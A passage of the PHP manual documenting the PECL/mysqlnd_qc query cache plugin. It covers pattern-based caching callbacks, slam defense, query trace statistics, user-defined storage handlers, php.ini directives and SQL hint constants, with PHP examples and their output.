$res = $mysqli->query($sql);
var_dump($res->fetch_assoc());
$res->free();

printf("Script runtime\t: %d seconds\n", microtime(true) - $start);
?>

The above examples will output:

Default TTL     : 30 seconds
array(1) {
  ["id"]=>
  string(1) "1"
}
array(1) {
  ["id"]=>
  string(1) "1"
}
NULL
Script runtime  : 3 seconds

User Contributed Notes

There are no user contributed notes for this page.
Caching queries
Pattern based caching
Quickstart and Examples


Pattern based caching

An application has three options for telling PECL/mysqlnd_qc whether a particular statement shall be used. The most basic approach is to cache all statements by setting mysqlnd_qc.cache_by_default = 1. This apporach is often of little practical value. But it enables users to make a quick estimation about the maximum performance gains from caching. An application designed to use a cache may able to prefix selected statements with the appropriate SQL hints. However, altering an applications source code may not always be possible or desired, for example, to avoid problems with software updates. Therefore, PECL/mysqlnd_qc allows setting a callback which decides if a query is to be cached.

The callback is installed with the mysqlnd_qc_set_is_select() function. The callback is given the statement string of every statement inspected by the plugin. Then, the callback can decide whether to cache the function. The callback is supposed to return FALSE if the statement shall not be cached. A return value of TRUE makes the plugin try to add the statement into the cache. The cache entry will be given the default TTL ( mysqlnd_qc.ttl). If the callback returns a numberical value it is used as the TTL instead of the global default.

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_statistics=1
<?php
/* callback which decides if query is cached */
function is_select($query) {
  static $patterns = array(
   /* true - use default from mysqlnd_qc.ttl */
   "@SELECT\s+.*\s+FROM\s+test@ismU" => true,
   /* 3 - use TTL = 3 seconds */
   "@SELECT\s+.*\s+FROM\s+news@ismU" => 3
  );

  /* check if query does match pattern */
  foreach ($patterns as $pattern => $ttl) {
    if (preg_match($pattern, $query)) {
      printf("is_select(%45s): cache\n", $query);
      return $ttl;
    }
  }
  printf("is_select(%45s): do not cache\n", $query);
  return false;
}
/* install callback */
mysqlnd_qc_set_is_select("is_select");

/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* cache put */
$mysqli->query("SELECT id FROM test WHERE id = 1");
/* cache hit */
$mysqli->query("SELECT id FROM test WHERE id = 1");
/* cache put */
$mysqli->query("SELECT * FROM test");

$stats = mysqlnd_qc_get_core_stats();
printf("Cache put: %d\n", $stats['cache_put']);
printf("Cache hit: %d\n", $stats['cache_hit']);
?>

The above examples will output:

is_select(                    DROP TABLE IF EXISTS test): do not cache
is_select(                    CREATE TABLE test(id INT)): do not cache
is_select(    INSERT INTO test(id) VALUES (1), (2), (3)): do not cache
is_select(             SELECT id FROM test WHERE id = 1): cache
is_select(             SELECT id FROM test WHERE id = 1): cache
is_select(                           SELECT * FROM test): cache
Cache put: 2
Cache hit: 1

The examples callback tests if a statement string matches a pattern. If this is the case, it either returns TRUE to cache the statement using the global default TTL or an alternative TTL.

To minimize application changes the callback can put into and registered in an auto prepend file.

User Contributed Notes

There are no user contributed notes for this page.
Setting the TTL
Slam defense
Quickstart and Examples


Slam defense

A badly designed cache can do more harm than good. In the worst case a cache can increase database server load instead of minimizing it. An overload situation can occur if a highly shared cache entry expires.

Cache entries are shared and reused to a different degree depending on the storage used. The default storage handler stores cache entries in process memory. Thus, a cache entry can be reused for the life-span of a process. Other PHP processes cannot access it. If Memcache is used, a cache entry can be shared among multiple PHP processes and even among multiple machines, depending on the set up being used.

If a highly shared cache entry stored, for example, in Memcache expires, many clients gets a cache miss. Many client requests can no longer be served from the cache but try to run the underlying query on the database server. Until the cache entry is refreshed, more and more clients contact the database server. In the worst case, a total lost of service is the result.

The overload can be avoided using a storage handler which limits the reuse of cache entries to few clients. Then, at the average, its likely that only a limited number of clients will try to refresh a cache entry concurrently.

Additionally, the built-in slam defense mechanism can and should be used. If slam defense is activated an expired cache entry is given an extended life time. The first client getting a cache miss for the expired cache entry tries to refresh the cache entry within the extended life time. All other clients requesting the cache entry are temporarily served from the cache although the original TTL of the cache entry has expired. The other clients will not experience a cache miss before the extended life time is over.

mysqlnd_qc.slam_defense=1
mysqlnd_qc.slam_defense_ttl=1

The slam defense mechanism is enabled with the PHP configuration directive mysqlnd_qc.slam_defense. The extended life time of a cache entry is set with mysqlnd_qc.slam_defense_ttl.

The function mysqlnd_qc_get_core_stats() returns an array of statistics. The statistics slam_stale_refresh and slam_stale_hit are incremented if slam defense takes place.

It is not possible to give a one-fits-all recommendation on the slam defense configuration. Users are advised to monitor and test their setup and derive settings accordingly.

User Contributed Notes

There are no user contributed notes for this page.
Pattern based caching
Finding cache candidates
Quickstart and Examples


Finding cache candidates

A statement should be considered for caching if it is executed often and has a long run time. Cache candidates are found by creating a list of statements sorted by the product of the number of executions multiplied by the statements run time. The function mysqlnd_qc_get_query_trace_log() returns a query log which help with the task.

Collecting a query trace is a slow operation. Thus, it is disabled by default. The PHP configuration directive mysqlnd_qc.collect_query_trace is used to enable it. The functions trace contains one entry for every query issued before the function is called.

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_query_trace=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");

/* dummy queries to fill the query trace */
for ($i = 0; $i < 2; $i++) {
  $res = $mysqli->query("SELECT 1 AS _one FROM DUAL");
  $res->free();
}

/* dump trace */
var_dump(mysqlnd_qc_get_query_trace_log());
?>

The above examples will output:

array(2) {
  [0]=>
  array(8) {
    ["query"]=>
    string(26) "SELECT 1 AS _one FROM DUAL"
    ["origin"]=>
    string(102) "#0 qc.php(7): mysqli->query('SELECT 1 AS _on...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(25)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
  [1]=>
  array(8) {
    ["query"]=>
    string(26) "SELECT 1 AS _one FROM DUAL"
    ["origin"]=>
    string(102) "#0 qc.php(7): mysqli->query('SELECT 1 AS _on...')
#1 {main}"
    ["run_time"]=>
    int(0)
    ["store_time"]=>
    int(8)
    ["eligible_for_caching"]=>
    bool(false)
    ["no_table"]=>
    bool(false)
    ["was_added"]=>
    bool(false)
    ["was_already_in_cache"]=>
    bool(false)
  }
}

Assorted information is given in the trace. Among them timings and the origin of the query call. The origin property holds a code backtrace to identify the source of the query. The depth of the backtrace can be limited with the PHP configuration directive mysqlnd_qc.query_trace_bt_depth. The default depth is 3.

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_query_trace=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* dummy queries to fill the query trace */
for ($i = 0; $i < 3; $i++) {
  $res = $mysqli->query("SELECT id FROM test WHERE id = " . $mysqli->real_escape_string($i));
  $res->free();
}

$trace = mysqlnd_qc_get_query_trace_log();
$summary = array();
foreach ($trace as $entry) {
  if (!isset($summary[$entry['query']])) {
    $summary[$entry['query']] = array(
      "executions" => 1,
      "time"       => $entry['run_time'] + $entry['store_time'],
    );
  } else {
    $summary[$entry['query']]['executions']++;
    $summary[$entry['query']]['time'] += $entry['run_time'] + $entry['store_time'];
 }
}
foreach ($summary as $query => $details) {
  printf("%45s: %5dms (%dx)\n",
   $query, $details['time'], $details['executions']);
}
?>

The above examples will output:

                    DROP TABLE IF EXISTS test:     0ms (1x)
                    CREATE TABLE test(id INT):     0ms (1x)
    INSERT INTO test(id) VALUES (1), (2), (3):     0ms (1x)
             SELECT id FROM test WHERE id = 0:    25ms (1x)
             SELECT id FROM test WHERE id = 1:    10ms (1x)
             SELECT id FROM test WHERE id = 2:     9ms (1x)

User Contributed Notes

There are no user contributed notes for this page.
Slam defense
Measuring cache efficiency
Quickstart and Examples


Measuring cache efficiency

PECL/mysqlnd_qc offers three ways to measure the cache efficiency. The function mysqlnd_qc_get_normalized_query_trace_log() returns statistics aggregated by the normalized query string, mysqlnd_qc_get_cache_info() gives storage handler specific information which includes a list of all cached items, depending on the storage handler. Additionally, the core of PECL/mysqlnd_qc collects high-level summary statistics aggregated per PHP process. The high-level satistics are returned by mysqlnd_qc_get_core_stats().

The functions mysqlnd_qc_get_normalized_query_trace_log() and mysqlnd_qc_get_core_stats() will not collect data unless, data collection has been enabled through their corresponding PHP configuration directives. Please, find the names of the configuration directives in the examples. Data collection is disabled by default for performance considerations. It has been made configurable through mysqlnd_qc.time_statistics whether to collect timing information or not. Collection of time statistics is enabled by default but only performed, if data collection as such has been enabled. Recording time statistics causes extra system calls. In most cases, the benefit of the monitoring outweights any potential performance penalty of the additional system calls.

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_statistics=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* dummy queries */
for ($i = 1; $i <= 4; $i++) {
  $query = sprintf("/*%s*/SELECT id FROM test WHERE id = %d",
     MYSQLND_QC_ENABLE_SWITCH,
     $i % 2);
  $res = $mysqli->query($query);
  $res->free();
}

var_dump(mysqlnd_qc_get_core_stats());
?>

The above examples will output:

array(26) {
  ["cache_hit"]=>
  string(1) "2"
  ["cache_miss"]=>
  string(1) "2"
  ["cache_put"]=>
  string(1) "2"
  ["query_should_cache"]=>
  string(1) "4"
  ["query_should_not_cache"]=>
  string(1) "3"
  ["query_not_cached"]=>
  string(1) "3"
  ["query_could_cache"]=>
  string(1) "4"
  ["query_found_in_cache"]=>
  string(1) "2"
  ["query_uncached_other"]=>
  string(1) "0"
  ["query_uncached_no_table"]=>
  string(1) "0"
  ["query_uncached_no_result"]=>
  string(1) "0"
  ["query_uncached_use_result"]=>
  string(1) "0"
  ["query_aggr_run_time_cache_hit"]=>
  string(2) "28"
  ["query_aggr_run_time_cache_put"]=>
  string(3) "900"
  ["query_aggr_run_time_total"]=>
  string(3) "928"
  ["query_aggr_store_time_cache_hit"]=>
  string(2) "14"
  ["query_aggr_store_time_cache_put"]=>
  string(2) "40"
  ["query_aggr_store_time_total"]=>
  string(2) "54"
  ["receive_bytes_recorded"]=>
  string(3) "136"
  ["receive_bytes_replayed"]=>
  string(3) "136"
  ["send_bytes_recorded"]=>
  string(2) "84"
  ["send_bytes_replayed"]=>
  string(2) "84"
  ["slam_stale_refresh"]=>
  string(1) "0"
  ["slam_stale_hit"]=>
  string(1) "0"
  ["request_counter"]=>
  int(1)
  ["process_hash"]=>
  int(1929695233)
}

For a quick overview, call mysqlnd_qc_get_core_stats(). It delivers cache usage, cache timing and traffic related statistics. Values are aggregated on a per process basis for all queries issued by any PHP MySQL API call.

Some storage handler, such as the default handler, can report cache entries, statistics related to the entries and meta data for the underlying query through the mysqlnd_qc_get_cache_info() function. Please note, that the information returned depends on the storage handler. Values are aggregated on a per process basis.

mysqlnd_qc.enable_qc=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* dummy queries to fill the query trace */
for ($i = 1; $i <= 4; $i++) {
  $query = sprintf("/*%s*/SELECT id FROM test WHERE id = %d",
     MYSQLND_QC_ENABLE_SWITCH,
     $i % 2);
  $res = $mysqli->query($query);
  $res->free();
}
var_dump(mysqlnd_qc_get_cache_info());
?>

The above examples will output:

array(4) {
  ["num_entries"]=>
  int(2)
  ["handler"]=>
  string(7) "default"
  ["handler_version"]=>
  string(5) "1.0.0"
  ["data"]=>
  array(2) {
    ["Localhost via UNIX socket
3306
root
test|/*qc=on*/SELECT id FROM test WHERE id = 1"]=>
    array(2) {
      ["statistics"]=>
      array(11) {
        ["rows"]=>
        int(1)
        ["stored_size"]=>
        int(71)
        ["cache_hits"]=>
        int(1)
        ["run_time"]=>
        int(391)
        ["store_time"]=>
        int(27)
        ["min_run_time"]=>
        int(16)
        ["max_run_time"]=>
        int(16)
        ["min_store_time"]=>
        int(8)
        ["max_store_time"]=>
        int(8)
        ["avg_run_time"]=>
        int(8)
        ["avg_store_time"]=>
        int(4)
      }
      ["metadata"]=>
      array(1) {
        [0]=>
        array(8) {
          ["name"]=>
          string(2) "id"
          ["orig_name"]=>
          string(2) "id"
          ["table"]=>
          string(4) "test"
          ["orig_table"]=>
          string(4) "test"
          ["db"]=>
          string(4) "test"
          ["max_length"]=>
          int(1)
          ["length"]=>
          int(11)
          ["type"]=>
          int(3)
        }
      }
    }
    ["Localhost via UNIX socket
3306
root
test|/*qc=on*/SELECT id FROM test WHERE id = 0"]=>
    array(2) {
      ["statistics"]=>
      array(11) {
        ["rows"]=>
        int(0)
        ["stored_size"]=>
        int(65)
        ["cache_hits"]=>
        int(1)
        ["run_time"]=>
        int(299)
        ["store_time"]=>
        int(13)
        ["min_run_time"]=>
        int(11)
        ["max_run_time"]=>
        int(11)
        ["min_store_time"]=>
        int(6)
        ["max_store_time"]=>
        int(6)
        ["avg_run_time"]=>
        int(5)
        ["avg_store_time"]=>
        int(3)
      }
      ["metadata"]=>
      array(1) {
        [0]=>
        array(8) {
          ["name"]=>
          string(2) "id"
          ["orig_name"]=>
          string(2) "id"
          ["table"]=>
          string(4) "test"
          ["orig_table"]=>
          string(4) "test"
          ["db"]=>
          string(4) "test"
          ["max_length"]=>
          int(0)
          ["length"]=>
          int(11)
          ["type"]=>
          int(3)
        }
      }
    }
  }
}

It is possible to further break down the granularity of statistics to the level of the normalized statement string. The normalized statement string is the statements string with all parameters replaced with question marks. For example, the two statements SELECT id FROM test WHERE id = 0 and SELECT id FROM test WHERE id = 1 are normalized into SELECT id FROM test WHERE id = ?. Their both statistics are aggregated into one entry for SELECT id FROM test WHERE id = ?.

mysqlnd_qc.enable_qc=1
mysqlnd_qc.collect_normalized_query_trace=1
<?php
/* connect to MySQL */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)");

/* dummy queries to fill the query trace */
for ($i = 1; $i <= 4; $i++) {
  $query = sprintf("/*%s*/SELECT id FROM test WHERE id = %d",
     MYSQLND_QC_ENABLE_SWITCH,
     $i % 2);
  $res = $mysqli->query($query);
  $res->free();
}
var_dump(mysqlnd_qc_get_normalized_query_trace_log());
?>

The above examples will output:

array(4) {
  [0]=>
  array(9) {
    ["query"]=>
    string(25) "DROP TABLE IF EXISTS test"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [1]=>
  array(9) {
    ["query"]=>
    string(27) "CREATE TABLE test (id INT )"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [2]=>
  array(9) {
    ["query"]=>
    string(46) "INSERT INTO test (id ) VALUES (? ), (? ), (? )"
    ["occurences"]=>
    int(0)
    ["eligible_for_caching"]=>
    bool(false)
    ["avg_run_time"]=>
    int(0)
    ["min_run_time"]=>
    int(0)
    ["max_run_time"]=>
    int(0)
    ["avg_store_time"]=>
    int(0)
    ["min_store_time"]=>
    int(0)
    ["max_store_time"]=>
    int(0)
  }
  [3]=>
  array(9) {
    ["query"]=>
    string(31) "SELECT id FROM test WHERE id =?"
    ["occurences"]=>
    int(4)
    ["eligible_for_caching"]=>
    bool(true)
    ["avg_run_time"]=>
    int(179)
    ["min_run_time"]=>
    int(11)
    ["max_run_time"]=>
    int(393)
    ["avg_store_time"]=>
    int(12)
    ["min_store_time"]=>
    int(7)
    ["max_store_time"]=>
    int(25)
  }
}

The source distribution of PECL/mysqlnd_qc contains a directory web/ in which web based monitoring scripts can be found which give an example how to write a cache monitor. Please, follow the instructions given in the source.

Since PECL/mysqlnd_qc 1.1.0 it is possible to write statistics into a log file. Please, see mysqlnd_qc.collect_statistics_log_file.

User Contributed Notes

There are no user contributed notes for this page.
Finding cache candidates
Beyond TTL: user-defined storage
Quickstart and Examples


Beyond TTL: user-defined storage

The query cache plugin supports the use of user-defined storage handler. User-defined storage handler can use arbitrarily complex invalidation algorithms and support arbitrary storage media.

All user-defined storage handlers have to provide a certain interface. The functions of the user-defined storage handler will be called by the core of the cache plugin. The necessary interface consists of seven public functions. Both procedural and object oriented user-defined storage handler must implement the same set of functions.

Please check the example for details.

<?php
/* Enable default caching of all statements */
ini_set("mysqlnd_qc.cache_by_default", 1);

/* Procedural user defined storage handler functions */

$__cache = array();

function get_hash($host_info, $port, $user, $db, $query) {
  global $__cache;
  printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

  return md5(sprintf("%s%s%s%s%s", $host_info, $port, $user, $db, $query));
}

function find_query_in_cache($key) {
  global $__cache;
  printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

  if (isset($__cache[$key])) {
    $tmp = $__cache[$key];
    if ($tmp["valid_until"] < time()) {
      unset($__cache[$key]);
      $ret = NULL;
    } else {
      $ret = $__cache[$key]["data"];
    }
  } else {
    $ret = NULL;
  }

  return $ret;
}

function return_to_cache($key) {
  /*
     Called on cache hit after cached data has been processed,
     may be used for reference counting
  */
  printf("\t%s(%d)\n", __FUNCTION__, func_num_args());
}

function add_query_to_cache_if_not_exists($key, $data, $ttl, $run_time, $store_time, $row_count) {
  global $__cache;
  printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

  $__cache[$key] = array(
    "data"               => $data,
    "row_count"          => $row_count,
    "valid_until"        => time() + $ttl,
    "hits"               => 0,
    "run_time"           => $run_time,
    "store_time"         => $store_time,
    "cached_run_times"   => array(),
    "cached_store_times" => array(),
  );

  return TRUE;
}

function query_is_select($query) {
  printf("\t%s('%s'): ", __FUNCTION__, $query);

  $ret = FALSE;
  if (stristr($query, "SELECT") !== FALSE) {
    /* cache for 5 seconds */
    $ret = 5;
  }

  printf("%s\n", (FALSE === $ret) ? "FALSE" : $ret);
  return $ret;
}

function update_query_run_time_stats($key, $run_time, $store_time) {
  global $__cache;
  printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

  if (isset($__cache[$key])) {
    $__cache[$key]['hits']++;
    $__cache[$key]["cached_run_times"][] = $run_time;
    $__cache[$key]["cached_store_times"][] = $store_time;
  }
}

function get_stats($key = NULL) {
  global $__cache;
  printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

  if ($key && isset($__cache[$key])) {
    $stats = $__cache[$key];
  } else {
    $stats = array();
    foreach ($__cache as $key => $details) {
      $stats[$key] = array(
        'hits'              => $details['hits'],
        'bytes'             => strlen($details['data']),
        'uncached_run_time' => $details['run_time'],
        'cached_run_time'   => (count($details['cached_run_times']))
                                  ? array_sum($details['cached_run_times']) / count($details['cached_run_times'])
                                  : 0,
      );
    }
  }

  return $stats;
}

function clear_cache() {
  global $__cache;
  printf("\t%s(%d)\n", __FUNCTION__, func_num_args());

  $__cache = array();
  return TRUE;
}

/* Install procedural user-defined storage handler */
if (!mysqlnd_qc_set_user_handlers("get_hash", "find_query_in_cache",
      "return_to_cache", "add_query_to_cache_if_not_exists",
      "query_is_select", "update_query_run_time_stats",
       "get_stats", "clear_cache")) {
  printf("Failed to install user-defined storage handler\n");
}

/* Connect, create and populate test table */
$mysqli = new mysqli("host", "user", "password", "schema", "port", "socket");
$mysqli->query("DROP TABLE IF EXISTS test");
$mysqli->query("CREATE TABLE test(id INT)");
$mysqli->query("INSERT INTO test(id) VALUES (1), (2)");

printf("\nCache put/cache miss\n");

$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

/* Delete record to verify we get our data from the cache */
$mysqli->query("DELETE FROM test WHERE id = 1");

printf("\nCache hit\n");

$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();

printf("\nDisplay cache statistics\n");
var_dump(mysqlnd_qc_get_cache_info());

printf("\nFlushing cache, cache put/cache miss");
var_dump(mysqlnd_qc_clear_cache());

$res = $mysqli->query("SELECT id FROM test WHERE id = 1");
var_dump($res->fetch_assoc());
$res->free();
?>

The above examples will output:

        query_is_select('DROP TABLE IF EXISTS test'): FALSE
        query_is_select('CREATE TABLE test(id INT)'): FALSE
        query_is_select('INSERT INTO test(id) VALUES (1), (2)'): FALSE

Cache put/cache miss
        query_is_select('SELECT id FROM test WHERE id = 1'): 5
        get_hash(5)
        find_query_in_cache(1)
        add_query_to_cache_if_not_exists(6)
array(1) {
  ["id"]=>
  string(1) "1"
}
        query_is_select('DELETE FROM test WHERE id = 1'): FALSE

Cache hit
        query_is_select('SELECT id FROM test WHERE id = 1'): 5
        get_hash(5)
        find_query_in_cache(1)
        return_to_cache(1)
        update_query_run_time_stats(3)
array(1) {
  ["id"]=>
  string(1) "1"
}

Display cache statistics
        get_stats(0)
array(4) {
  ["num_entries"]=>
  int(1)
  ["handler"]=>
  string(4) "user"
  ["handler_version"]=>
  string(5) "1.0.0"
  ["data"]=>
  array(1) {
    ["18683c177dc89bb352b29965d112fdaa"]=>
    array(4) {
      ["hits"]=>
      int(1)
      ["bytes"]=>
      int(71)
      ["uncached_run_time"]=>
      int(398)
      ["cached_run_time"]=>
      int(4)
    }
  }
}

Flushing cache, cache put/cache miss    clear_cache(0)
bool(true)
        query_is_select('SELECT id FROM test WHERE id = 1'): 5
        get_hash(5)
        find_query_in_cache(1)
        add_query_to_cache_if_not_exists(6)
NULL

User Contributed Notes

There are no user contributed notes for this page.
Measuring cache efficiency
Installing/Configuring
Quickstart and Examples


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration

User Contributed Notes

There are no user contributed notes for this page.
Beyond TTL: user-defined storage
Requirements
mysqlnd_qc


Requirements

PHP 5.3.3 or a newer version of PHP 5.3. PHP 5.4.0 support is in preparation.

PECL/mysqlnd_qc is a mysqlnd plugin. It plugs into the mysqlnd library. To use you plugin with a PHP MySQL extension (mysqli, mysql, PDO_MYSQL) it is necessary to enable use of the mysqlnd library by the PHP MySQL extension in question. Please refer to the extensions manual sections for details.

For using APC storage handler: APC 3.1.3p1-beta or newer.

For using MEMCACHE storage handler: libmemcache 0.38 or newer.

For using sqlite storage handler: sqlite3 bundled with PHP.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mysqlnd_qc

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

mysqlnd_qc Configure Options
Name | Default | Changeable | Changelog
mysqlnd_qc.enable_qc | 1 | PHP_INI_SYSTEM |
mysqlnd_qc.ttl | 30 | PHP_INI_ALL |
mysqlnd_qc.cache_by_default | 0 | PHP_INI_ALL |
mysqlnd_qc.cache_no_table | 0 | PHP_INI_ALL |
mysqlnd_qc.use_request_time | 0 | PHP_INI_ALL |
mysqlnd_qc.time_statistics | 1 | PHP_INI_ALL |
mysqlnd_qc.collect_statistics | 0 | PHP_INI_ALL |
mysqlnd_qc.collect_statistics_log_file | /tmp/mysqlnd_qc.stats | PHP_INI_SYSTEM |
mysqlnd_qc.collect_query_trace | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.query_trace_bt_depth | 3 | PHP_INI_SYSTEM |
mysqlnd_qc.slam_defense | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.slam_defense_ttl | 30 | PHP_INI_SYSTEM |
mysqlnd_qc.collect_normalized_query_trace | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.std_data_copy | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.apc_prefix | qc_ | PHP_INI_ALL |
mysqlnd_qc.memc_server | 127.0.0.1 | PHP_INI_ALL |
mysqlnd_qc.memc_port | 11211 | PHP_INI_ALL |
mysqlnd_qc.sqlite_data_file | :memory: | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

mysqlnd_qc.enable_qc integer

Enables or disables the plugin. If disabled the extension will not plug into mysqlnd to proxy internal mysqlnd C API calls.

mysqlnd_qc.ttl integer

Default Time-to-Live (TTL) for cache entries in seconds.

mysqlnd_qc.cache_by_default integer

Cache all queries regardless if they begin with the SQL hint that enables caching of a query or not. Storage handler cannot overrule the setting. It is evaluated by the core of the plugin.

mysqlnd_qc.cache_no_table integer

Cache queries with no table name in any of columns meta data of their result set, e.g. SELECT SLEEP(1)?

mysqlnd_qc.use_request_time integer

Use PHP global request time to avoid gettimeofday() system calls? If using APC storage handler it should be set to the value of apc.use_request_time , if not warnings will be generated.

mysqlnd_qc.time_statistics integer

Collect run time and store time statistics using gettimeofday() system call? Data will be collected only if you also set mysqlnd_qc.collect_statistics = 1,

mysqlnd_qc.collect_statistics integer

Collect statistics for mysqlnd_qc_get_core_stats()? Does not influence storage handler statistics! Handler statistics can be an integral part of the handler internal storage format. Thereofore, collection of some handler statistics cannot be disabled.

mysqlnd_qc.collect_statistics-log-file integer

If mysqlnd_qc.collect_statistics and mysqlnd_qc.collect_statistics_log_file are set, the plugin will dump statistics into the specified log file at every 10th web request during PHP request shutdown. The log file needs to be writeable by the web server user.

Since 1.1.0.

mysqlnd_qc.collect_query_trace integer

Collect query back traces?

mysqlnd_qc.query_trace_bt_depth integer

Maximum depth/level of a query code backtrace.

mysqlnd_qc.slam_defense integer

Activates handler based slam defense if available. Supported by Default and APC storage handler

mysqlnd_qc.slam_defense_ttl integer

TTL for stale cache entries which are served while another client updates the entries. Supported by APC storage handler.

mysqlnd_qc.collect_normalized_query_trace integer

Collect aggregated normalized query traces? The setting has no effect by default. You compile the extension using the define NORM_QUERY_TRACE_LOG to make use of the setting.

mysqlnd_qc.std_data_copy integer

Default storage handler: copy cached wire data? EXPERIMENTAL – use default setting!

mysqlnd_qc.apc_prefix string

The APC storage handler stores data in the APC user cache. The setting sets a prefix to be used for cache entries.

mysqlnd_qc.memc_server string

MEMCACHE storage handler: memcache server host.

mysqlnd_qc.memc_port integer

MEMCACHE storage handler: memcached server port.

mysqlnd_qc.sqlite_data_file string

sqlite storage handler: data file. Any setting but :memory: may be of little practical value.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SQL hint related

The query cache is controled by SQL hints. SQL hints are used to enable and disable caching. SQL hints can be used to set the TTL of a query.

The SQL hints recognized by the query cache can be manually changed at compile time. This makes it possible to use mysqlnd_qc in environments in which the default SQL hints are already taken and interpreted by other systems. Therefore it is recommended to use the SQL hint string constants instead of manually adding the default SQL hints to the query string.

<?php
/* Use constants for maximum portability */
$query = "/*" . MYSQLND_QC_ENABLE_SWITCH . "*/SELECT id FROM test";

/* Valid but less portable: default TTL */
$query = "/*qc=on*/SELECT id FROM test";

/* Valid but less portable: per statement TTL */
$query = "/*qc=on*//*qc_ttl=5*/SELECT id FROM test";

printf("MYSQLND_QC_ENABLE_SWITCH: %s\n", MYSQLND_QC_ENABLE_SWITCH);
printf("MYSQLND_QC_DISABLE_SWITCH: %s\n", MYSQLND_QC_DISABLE_SWITCH);
printf("MYSQLND_QC_TTL_SWITCH: %s\n", MYSQLND_QC_TTL_SWITCH);
?>

The above examples will output:

MYSQLND_QC_ENABLE_SWITCH: qc=on
MYSQLND_QC_DISABLE_SWITCH: qc=off
MYSQLND_QC_TTL_SWITCH: qc_ttl=

MYSQLND_QC_ENABLE_SWITCH ( string)
SQL hint used to enable caching of a query.
MYSQLND_QC_DISABLE_SWITCH ( string)
SQL hint used to disable caching of a query if mysqlnd_qc.cache_by_default = 1.
MYSQLND_QC_TTL_SWITCH ( string)
SQL hint used to set the TTL of a result set.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
mysqlnd_qc Functions
mysqlnd_qc


mysqlnd_qc Functions

Table of Contents

  • mysqlnd_qc_clear_cache — Flush all cache contents
  • mysqlnd_qc_get_available_handlers — Returns a list of available storage handler
  • mysqlnd_qc_get_cache_info — Returns information on the current handler, the number of cache entries and cache entries, if available
  • mysqlnd_qc_get_core_stats — Statistics collected by the core of the query cache
  • mysqlnd_qc_get_normalized_query_trace_log — Returns a normalized query trace log for each query inspected by the query cache
  • mysqlnd_qc_get_query_trace_log — Returns a backtrace for each query inspected by the query cache
  • mysqlnd_qc_set_is_select — Installs a callback which decides whether a statement is cached
  • mysqlnd_qc_set_storage_handler — Change current storage handler
  • mysqlnd_qc_set_user_handlers — Sets the callback functions for a user-defined procedural storage handler

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
mysqlnd_qc_clear_cache
mysqlnd_qc


Flush all cache contents

mysqlnd_qc Functions
mysqlnd_qc_get_available_handlers
mysqlnd_qc Functions
PHP Manual

mysqlnd_qc_clear_cache

(No version information available, might only be in SVN)

